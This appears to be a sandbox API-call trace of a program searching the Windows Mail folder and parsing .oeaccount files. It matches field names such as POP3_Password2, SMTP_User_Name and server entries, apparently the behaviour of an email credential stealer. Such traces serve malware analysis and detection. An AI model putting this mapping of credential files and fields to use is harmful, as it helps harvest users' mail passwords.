[0085.290] wcslen (_String="\r\n\r\n Microsoft Communities\r\n e7ae8a85f588cb01\r\n 00000003\r\n msnews.microsoft.com\r\n\r\n") returned 0x14f
[0085.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\r\n\r\n Microsoft Communities\r\n e7ae8a85f588cb01\r\n 00000003\r\n msnews.microsoft.com\r\n\r\n", cchWideChar=-1, lpMultiByteStr=0x24f858, cbMultiByte=336, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\r\n Microsoft Communities\r\n e7ae8a85f588cb01\r\n 00000003\r\n msnews.microsoft.com\r\n\r\n", lpUsedDefaultChar=0x0) returned 336
[0085.291] strlen (_Str="\r\n\r\n Microsoft Communities\r\n e7ae8a85f588cb01\r\n 00000003\r\n msnews.microsoft.com\r\n\r\n") returned 0x14f
[0085.291] strlen (_Str="version") returned 0x7
[0085.291] strlen (_Str="1.0") returned 0x3
[0085.291] strlen (_Str="encoding") returned 0x8
[0085.291] strlen (_Str="utf-16") returned 0x6
[0085.291] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.291] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.291] strlen (_Str="type") returned 0x4
[0085.291] strlen (_Str="SZ") returned 0x2
[0085.291] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.291] strcmp (_Str1="Account_Name", _Str2="Account_Name") returned 0
[0085.291] strlen (_Str="Microsoft Communities") returned 0x15
[0085.291] strlen (_Str="Microsoft Communities") returned 0x15
[0085.291] strcmp (_Str1="Account_Name", _Str2="POP3_Server") returned -1
[0085.291] strcmp (_Str1="Account_Name", _Str2="IMAP_Server") returned -1
[0085.291] strcmp (_Str1="Account_Name", _Str2="NNTP_Server") returned -1
[0085.291] strcmp (_Str1="Account_Name", _Str2="SMTP_Server") returned -1
[0085.291] strcmp (_Str1="Account_Name", _Str2="POP3_User_Name") returned -1
[0085.291] strcmp (_Str1="Account_Name", _Str2="IMAP_User_Name") returned -1
[0085.291] strcmp (_Str1="Account_Name", _Str2="NNTP_User_Name") returned -1
[0085.291] strcmp (_Str1="Account_Name", _Str2="SMTP_User_Name") returned -1
[0085.291] strcmp (_Str1="Account_Name", _Str2="POP3_Password2") returned -1
[0085.292] strcmp (_Str1="Account_Name", _Str2="IMAP_Password2") returned -1
[0085.292] strcmp (_Str1="Account_Name", _Str2="NNTP_Password2") returned -1
[0085.292] strcmp (_Str1="Account_Name", _Str2="SMTP_Password2") returned -1
[0085.292] strcmp (_Str1="Account_Name", _Str2="NNTP_Email_Address") returned -1
[0085.292] strcmp (_Str1="Account_Name", _Str2="SMTP_Email_Address") returned -1
[0085.292] _strcmpi (_Str1="Account_Name", _Str2="SMTP_Port") returned -1
[0085.292] _strcmpi (_Str1="Account_Name", _Str2="NNTP_Port") returned -1
[0085.292] _strcmpi (_Str1="Account_Name", _Str2="IMAP_Port") returned -1
[0085.292] _strcmpi (_Str1="Account_Name", _Str2="POP3_Port") returned -1
[0085.292] _strcmpi (_Str1="Account_Name", _Str2="SMTP_Secure_Connection") returned -1
[0085.292] _strcmpi (_Str1="Account_Name", _Str2="NNTP_Secure_Connection") returned -1
[0085.292] _strcmpi (_Str1="Account_Name", _Str2="IMAP_Secure_Connection") returned -1
[0085.292] _strcmpi (_Str1="Account_Name", _Str2="POP3_Secure_Connection") returned -1
[0085.292] strlen (_Str="type") returned 0x4
[0085.292] strlen (_Str="BINARY") returned 0x6
[0085.292] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.292] strcmp (_Str1="Last_Updated", _Str2="Account_Name") returned 1
[0085.292] strcmp (_Str1="Last_Updated", _Str2="POP3_Server") returned -1
[0085.292] strcmp (_Str1="Last_Updated", _Str2="IMAP_Server") returned 1
[0085.292] strcmp (_Str1="Last_Updated", _Str2="NNTP_Server") returned -1
[0085.292] strcmp (_Str1="Last_Updated", _Str2="SMTP_Server") returned -1
[0085.292] strcmp (_Str1="Last_Updated", _Str2="POP3_User_Name") returned -1
[0085.292] strcmp (_Str1="Last_Updated", _Str2="IMAP_User_Name") returned 1
[0085.292] strcmp (_Str1="Last_Updated", _Str2="NNTP_User_Name") returned -1
[0085.292] strcmp (_Str1="Last_Updated", _Str2="SMTP_User_Name") returned -1
[0085.292] strcmp (_Str1="Last_Updated", _Str2="POP3_Password2") returned -1
[0085.292] strcmp (_Str1="Last_Updated", _Str2="IMAP_Password2") returned 1
[0085.292] strcmp (_Str1="Last_Updated", _Str2="NNTP_Password2") returned -1
[0085.292] strcmp (_Str1="Last_Updated", _Str2="SMTP_Password2") returned -1
[0085.292] strcmp (_Str1="Last_Updated", _Str2="NNTP_Email_Address") returned -1
[0085.292] strcmp (_Str1="Last_Updated", _Str2="SMTP_Email_Address") returned -1
[0085.292] _strcmpi (_Str1="Last_Updated", _Str2="SMTP_Port") returned -1
[0085.292] _strcmpi (_Str1="Last_Updated", _Str2="NNTP_Port") returned -1
[0085.292] _strcmpi (_Str1="Last_Updated", _Str2="IMAP_Port") returned 1
[0085.292] _strcmpi (_Str1="Last_Updated", _Str2="POP3_Port") returned -1
[0085.292] _strcmpi (_Str1="Last_Updated", _Str2="SMTP_Secure_Connection") returned -1
[0085.292] _strcmpi (_Str1="Last_Updated", _Str2="NNTP_Secure_Connection") returned -1
[0085.292] _strcmpi (_Str1="Last_Updated", _Str2="IMAP_Secure_Connection") returned 1
[0085.292] _strcmpi (_Str1="Last_Updated", _Str2="POP3_Secure_Connection") returned -1
[0085.292] strlen (_Str="type") returned 0x4
[0085.293] strlen (_Str="DWORD") returned 0x5
[0085.293] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.293] strcmp (_Str1="Connection_Type", _Str2="Account_Name") returned 1
[0085.293] strcmp (_Str1="Connection_Type", _Str2="POP3_Server") returned -1
[0085.293] strcmp (_Str1="Connection_Type", _Str2="IMAP_Server") returned -1
[0085.293] strcmp (_Str1="Connection_Type", _Str2="NNTP_Server") returned -1
[0085.293] strcmp (_Str1="Connection_Type", _Str2="SMTP_Server") returned -1
[0085.293] strcmp (_Str1="Connection_Type", _Str2="POP3_User_Name") returned -1
[0085.293] strcmp (_Str1="Connection_Type", _Str2="IMAP_User_Name") returned -1
[0085.293] strcmp (_Str1="Connection_Type", _Str2="NNTP_User_Name") returned -1
[0085.293] strcmp (_Str1="Connection_Type", _Str2="SMTP_User_Name") returned -1
[0085.293] strcmp (_Str1="Connection_Type", _Str2="POP3_Password2") returned -1
[0085.293] strcmp (_Str1="Connection_Type", _Str2="IMAP_Password2") returned -1
[0085.293] strcmp (_Str1="Connection_Type", _Str2="NNTP_Password2") returned -1
[0085.293] strcmp (_Str1="Connection_Type", _Str2="SMTP_Password2") returned -1
[0085.293] strcmp (_Str1="Connection_Type", _Str2="NNTP_Email_Address") returned -1
[0085.293] strcmp (_Str1="Connection_Type", _Str2="SMTP_Email_Address") returned -1
[0085.293] _strcmpi (_Str1="Connection_Type", _Str2="SMTP_Port") returned -1
[0085.293] _strcmpi (_Str1="Connection_Type", _Str2="NNTP_Port") returned -1
[0085.293] _strcmpi (_Str1="Connection_Type", _Str2="IMAP_Port") returned -1
[0085.293] _strcmpi (_Str1="Connection_Type", _Str2="POP3_Port") returned -1
[0085.293] _strcmpi (_Str1="Connection_Type", _Str2="SMTP_Secure_Connection") returned -1
[0085.293] _strcmpi (_Str1="Connection_Type", _Str2="NNTP_Secure_Connection") returned -1
[0085.293] _strcmpi (_Str1="Connection_Type", _Str2="IMAP_Secure_Connection") returned -1
[0085.293] _strcmpi (_Str1="Connection_Type", _Str2="POP3_Secure_Connection") returned -1
[0085.293] strlen (_Str="type") returned 0x4
[0085.293] strlen (_Str="SZ") returned 0x2
[0085.293] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.293] strcmp (_Str1="NNTP_Server", _Str2="Account_Name") returned 1
[0085.293] strcmp (_Str1="NNTP_Server", _Str2="POP3_Server") returned -1
[0085.293] strcmp (_Str1="NNTP_Server", _Str2="IMAP_Server") returned 1
[0085.293] strcmp (_Str1="NNTP_Server", _Str2="NNTP_Server") returned 0
[0085.293] strlen (_Str="msnews.microsoft.com") returned 0x14
[0085.293] strcmp (_Str1="NNTP_Server", _Str2="SMTP_Server") returned -1
[0085.293] strcmp (_Str1="NNTP_Server", _Str2="POP3_User_Name") returned -1
[0085.293] strcmp (_Str1="NNTP_Server", _Str2="IMAP_User_Name") returned 1
[0085.293] strcmp (_Str1="NNTP_Server", _Str2="NNTP_User_Name") returned -1
[0085.293] strcmp (_Str1="NNTP_Server", _Str2="SMTP_User_Name") returned -1
[0085.294] strcmp (_Str1="NNTP_Server", _Str2="POP3_Password2") returned -1
[0085.294] strcmp (_Str1="NNTP_Server", _Str2="IMAP_Password2") returned 1
[0085.294] strcmp (_Str1="NNTP_Server", _Str2="NNTP_Password2") returned 1
[0085.294] strcmp (_Str1="NNTP_Server", _Str2="SMTP_Password2") returned -1
[0085.294] strcmp (_Str1="NNTP_Server", _Str2="NNTP_Email_Address") returned 1
[0085.294] strcmp (_Str1="NNTP_Server", _Str2="SMTP_Email_Address") returned -1
[0085.294] _strcmpi (_Str1="NNTP_Server", _Str2="SMTP_Port") returned -1
[0085.294] _strcmpi (_Str1="NNTP_Server", _Str2="NNTP_Port") returned 1
[0085.294] _strcmpi (_Str1="NNTP_Server", _Str2="IMAP_Port") returned 1
[0085.294] _strcmpi (_Str1="NNTP_Server", _Str2="POP3_Port") returned -1
[0085.294] _strcmpi (_Str1="NNTP_Server", _Str2="SMTP_Secure_Connection") returned -1
[0085.294] _strcmpi (_Str1="NNTP_Server", _Str2="NNTP_Secure_Connection") returned 1
[0085.294] _strcmpi (_Str1="NNTP_Server", _Str2="IMAP_Secure_Connection") returned 1
[0085.294] _strcmpi (_Str1="NNTP_Server", _Str2="POP3_Secure_Connection") returned -1
[0085.294] CloseHandle (hObject=0xec) returned 1
[0085.294] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12eea8 | out: lpFindFileData=0x12eea8) returned 0
[0085.294] FindClose (in: hFindFile=0x265da0 | out: hFindFile=0x265da0) returned 1
[0085.294] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.294] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.294] strlen (_Str="*.*") returned 0x3
[0085.294] _mbscpy (in: param_1=0x12f274, param_2=0x12f63c | out: param_1=0x12f274) returned 0x12f274
[0085.295] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.295] _mbscat (in: param_1=0x12f274, param_2=0x414078 | out: param_1=0x12f274) returned 0x12f274
[0085.295] _mbscat (in: param_1=0x12f274, param_2=0x4147c4 | out: param_1=0x12f274) returned 0x12f274
[0085.295] FindFirstFileA (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\*.*", lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 0x265da0
[0085.295] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.295] strlen (_Str=".") returned 0x1
[0085.295] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.295] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.295] _mbscat (in: param_1=0x12f4f8, param_2=0x414078 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.295] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.295] strcmp (_Str1=".", _Str2="..") returned -1
[0085.295] strcmp (_Str1=".", _Str2=".") returned 0
[0085.295] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.295] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.295] strlen (_Str="..") returned 0x2
[0085.295] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.295] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.295] _mbscat (in: param_1=0x12f4f8, param_2=0x414078 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.295] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.295] strcmp (_Str1="..", _Str2="..") returned 0
[0085.295] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.295] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.295] strlen (_Str="account{81FF0B87-DBD4-46A5-A9FF-EF000B2F9024}.oeaccount") returned 0x37
[0085.295] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.295] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.295] _mbscat (in: param_1=0x12f4f8, param_2=0x414078 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.295] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.295] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.295] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.295] strlen (_Str="account{A9B27062-9101-460A-98C0-C2AA26B0F943}.oeaccount") returned 0x37
[0085.295] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.295] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.295] _mbscat (in: param_1=0x12f4f8, param_2=0x414078 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.295] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.295] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.295] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.295] strlen (_Str="account{D08688DB-6514-4DC0-9D54-33D56D2EF97E}.oeaccount") returned 0x37
[0085.295] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.295] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.295] _mbscat (in: param_1=0x12f4f8, param_2=0x414078 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.296] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.296] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.296] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.296] strlen (_Str="Backup") returned 0x6
[0085.296] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.296] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.296] _mbscat (in: param_1=0x12f4f8, param_2=0x414078 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.296] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.296] strcmp (_Str1="Backup", _Str2="..") returned 1
[0085.296] strcmp (_Str1="Backup", _Str2=".") returned 1
[0085.296] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3f
[0085.296] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3f
[0085.296] strlen (_Str="*.oeaccount") returned 0xb
[0085.296] _mbscpy (in: param_1=0x12e32c, param_2=0x12e6f4 | out: param_1=0x12e32c) returned 0x12e32c
[0085.296] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3f
[0085.296] _mbscat (in: param_1=0x12e32c, param_2=0x414078 | out: param_1=0x12e32c) returned 0x12e32c
[0085.296] _mbscat (in: param_1=0x12e32c, param_2=0x4154e8 | out: param_1=0x12e32c) returned 0x12e32c
[0085.296] FindFirstFileA (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\*.oeaccount", lpFindFileData=0x12e470 | out: lpFindFileData=0x12e470) returned 0xffffffff
[0085.296] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3f
[0085.296] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3f
[0085.296] strlen (_Str="*.*") returned 0x3
[0085.296] _mbscpy (in: param_1=0x12e83c, param_2=0x12ec04 | out: param_1=0x12e83c) returned 0x12e83c
[0085.296] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3f
[0085.296] _mbscat (in: param_1=0x12e83c, param_2=0x414078 | out: param_1=0x12e83c) returned 0x12e83c
[0085.296] _mbscat (in: param_1=0x12e83c, param_2=0x4147c4 | out: param_1=0x12e83c) returned 0x12e83c
[0085.296] FindFirstFileA (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\*.*", lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 0x26df28
[0085.296] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3f
[0085.296] strlen (_Str=".") returned 0x1
[0085.296] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.296] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3f
[0085.297] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.297] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.297] strcmp (_Str1=".", _Str2="..") returned -1
[0085.297] strcmp (_Str1=".", _Str2=".") returned 0
[0085.297] FindNextFileA (in: hFindFile=0x26df28, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.297] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3f
[0085.297] strlen (_Str="..") returned 0x2
[0085.297] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.297] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3f
[0085.297] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.297] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.297] strcmp (_Str1="..", _Str2="..") returned 0
[0085.297] FindNextFileA (in: hFindFile=0x26df28, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.297] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3f
[0085.297] strlen (_Str="old") returned 0x3
[0085.297] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.297] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3f
[0085.297] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.297] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.297] strcmp (_Str1="old", _Str2="..") returned 1
[0085.297] strcmp (_Str1="old", _Str2=".") returned 1
[0085.297] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x43
[0085.297] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x43
[0085.297] strlen (_Str="*.oeaccount") returned 0xb
[0085.297] _mbscpy (in: param_1=0x12d8f4, param_2=0x12dcbc | out: param_1=0x12d8f4) returned 0x12d8f4
[0085.297] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x43
[0085.297] _mbscat (in: param_1=0x12d8f4, param_2=0x414078 | out: param_1=0x12d8f4) returned 0x12d8f4
[0085.297] _mbscat (in: param_1=0x12d8f4, param_2=0x4154e8 | out: param_1=0x12d8f4) returned 0x12d8f4
[0085.297] FindFirstFileA (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\*.oeaccount", lpFindFileData=0x12da38 | out: lpFindFileData=0x12da38) returned 0xffffffff
[0085.298] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x43
[0085.298] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x43
[0085.298] strlen (_Str="*.*") returned 0x3
[0085.298] _mbscpy (in: param_1=0x12de04, param_2=0x12e1cc | out: param_1=0x12de04) returned 0x12de04
[0085.298] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x43
[0085.298] _mbscat (in: param_1=0x12de04, param_2=0x414078 | out: param_1=0x12de04) returned 0x12de04
[0085.298] _mbscat (in: param_1=0x12de04, param_2=0x4147c4 | out: param_1=0x12de04) returned 0x12de04
[0085.298] FindFirstFileA (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\*.*", lpFindFileData=0x12df48 | out: lpFindFileData=0x12df48) returned 0x2703e0
[0085.298] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x43
[0085.298] strlen (_Str=".") returned 0x1
[0085.298] _mbscpy (in: param_1=0x12e088, param_2=0x12e1cc | out: param_1=0x12e088) returned 0x12e088
[0085.298] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x43
[0085.298] _mbscat (in: param_1=0x12e088, param_2=0x414078 | out: param_1=0x12e088) returned 0x12e088
[0085.298] _mbscat (in: param_1=0x12e088, param_2=0x12df74 | out: param_1=0x12e088) returned 0x12e088
[0085.298] strcmp (_Str1=".", _Str2="..") returned -1
[0085.298] strcmp (_Str1=".", _Str2=".") returned 0
[0085.298] FindNextFileA (in: hFindFile=0x2703e0, lpFindFileData=0x12df48 | out: lpFindFileData=0x12df48) returned 1
[0085.298] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x43
[0085.298] strlen (_Str="..") returned 0x2
[0085.298] _mbscpy (in: param_1=0x12e088, param_2=0x12e1cc | out: param_1=0x12e088) returned 0x12e088
[0085.298] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x43
[0085.298] _mbscat (in: param_1=0x12e088, param_2=0x414078 | out: param_1=0x12e088) returned 0x12e088
[0085.298] _mbscat (in: param_1=0x12e088, param_2=0x12df74 | out: param_1=0x12e088) returned 0x12e088
[0085.298] strcmp (_Str1="..", _Str2="..") returned 0
[0085.298] FindNextFileA (in: hFindFile=0x2703e0, lpFindFileData=0x12df48 | out: lpFindFileData=0x12df48) returned 1
[0085.298] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x43
[0085.298] strlen (_Str="edb00001.log") returned 0xc
[0085.298] _mbscpy (in: param_1=0x12e088, param_2=0x12e1cc | out: param_1=0x12e088) returned 0x12e088
[0085.298] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x43
[0085.298] _mbscat (in: param_1=0x12e088, param_2=0x414078 | out: param_1=0x12e088) returned 0x12e088
[0085.298] _mbscat (in: param_1=0x12e088, param_2=0x12df74 | out: param_1=0x12e088) returned 0x12e088
[0085.298] FindNextFileA (in: hFindFile=0x2703e0, lpFindFileData=0x12df48 | out: lpFindFileData=0x12df48) returned 1
[0085.298] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x43
[0085.299] strlen (_Str="WindowsMail.MSMessageStore") returned 0x1a
[0085.299] _mbscpy (in: param_1=0x12e088, param_2=0x12e1cc | out: param_1=0x12e088) returned 0x12e088
[0085.299] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x43
[0085.299] _mbscat (in: param_1=0x12e088, param_2=0x414078 | out: param_1=0x12e088) returned 0x12e088
[0085.299] _mbscat (in: param_1=0x12e088, param_2=0x12df74 | out: param_1=0x12e088) returned 0x12e088
[0085.299] FindNextFileA (in: hFindFile=0x2703e0, lpFindFileData=0x12df48 | out: lpFindFileData=0x12df48) returned 1
[0085.299] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x43
[0085.299] strlen (_Str="WindowsMail.pat") returned 0xf
[0085.299] _mbscpy (in: param_1=0x12e088, param_2=0x12e1cc | out: param_1=0x12e088) returned 0x12e088
[0085.299] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x43
[0085.299] _mbscat (in: param_1=0x12e088, param_2=0x414078 | out: param_1=0x12e088) returned 0x12e088
[0085.299] _mbscat (in: param_1=0x12e088, param_2=0x12df74 | out: param_1=0x12e088) returned 0x12e088
[0085.299] FindNextFileA (in: hFindFile=0x2703e0, lpFindFileData=0x12df48 | out: lpFindFileData=0x12df48) returned 0
[0085.299] FindClose (in: hFindFile=0x2703e0 | out: hFindFile=0x2703e0) returned 1
[0085.299] FindNextFileA (in: hFindFile=0x26df28, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 0
[0085.299] FindClose (in: hFindFile=0x26df28 | out: hFindFile=0x26df28) returned 1
[0085.299] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.299] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.299] strlen (_Str="edb.chk") returned 0x7
[0085.299] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.299] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.299] _mbscat (in: param_1=0x12f4f8, param_2=0x414078 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.299] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.299] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.299] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.299] strlen (_Str="edb.log") returned 0x7
[0085.299] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.299] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.299] _mbscat (in: param_1=0x12f4f8, param_2=0x414078 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.299] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
